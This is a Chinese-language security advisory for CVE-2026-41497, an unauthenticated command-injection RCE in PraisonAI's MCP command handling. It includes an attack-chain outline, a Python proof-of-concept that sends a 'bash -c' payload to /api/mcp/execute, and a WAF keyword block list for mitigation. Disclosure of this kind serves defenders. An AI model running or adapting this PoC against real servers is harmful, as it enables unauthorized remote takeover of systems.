IPBUF安全漏洞报告
English
CVE-2026-41497 CVSS 9.8 严重

CVE-2026-41497 PraisonAI远程代码执行漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-41497
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PraisonAI

相关标签

RCE远程代码执行PraisonAICVE-2026-41497命令注入严重漏洞

漏洞概述

PraisonAI在4.6.9版本之前存在严重安全漏洞,由于MCP命令处理函数缺少白名单和参数验证,允许攻击者通过网络无认证执行任意系统命令,完全控制服务器。

技术细节

该漏洞源于PraisonAI在处理MCP命令时的逻辑缺陷。在受影响版本中,负责解析MCP命令的`parse_mcp_command()`函数未实施严格的命令白名单机制,也未对传入参数进行有效验证。这使得攻击者能够绕过应用层限制,直接向底层的subprocess执行模块传递恶意指令。攻击者可构造包含特定标志的Payload,例如使用`bash -c`或`python -c`直接执行内联代码。由于该漏洞攻击向量为网络(AV:N),且无需认证(PR:N)和用户交互(UI:N),未经授权的远程攻击者可利用此漏洞在目标系统上执行任意命令,获取系统权限,严重影响机密性、完整性和可用性。

攻击链分析

STEP 1
1. 信息探测
攻击者扫描网络寻找暴露的PraisonAI服务实例。
STEP 2
2. 构造恶意Payload
攻击者利用漏洞,构造包含bash或python等系统命令的恶意JSON数据包。
STEP 3
3. 发送攻击请求
攻击者通过网络向目标服务端点的MCP接口发送特制的请求,无需认证。
STEP 4
4. 命令执行
服务器端`parse_mcp_command`解析命令并传递给subprocess,恶意代码在服务器上执行。
STEP 5
5. 获取权限
攻击者成功获取服务器Shell权限,可进一步窃取数据或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-41497 # Target: PraisonAI < 4.6.9 def exploit(target_url): # Malicious command payload to execute shell command payload = { "command": "bash", "args": ["-c", "echo 'CVE-2026-41497 RCE Test' > /tmp/poc.txt"] } try: response = requests.post(f"{target_url}/api/mcp/execute", json=payload) if response.status_code == 200: print("[+] Exploit successful! Command executed.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit("http://localhost:8000")

影响范围

PraisonAI < 4.6.9

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或WAF层面对传入MCP接口的请求进行深度包检测,拦截包含“bash”、“python”、“/bin/sh”等关键字的参数,并尽可能将服务部署在内网环境中,避免直接暴露于公网。

参考链接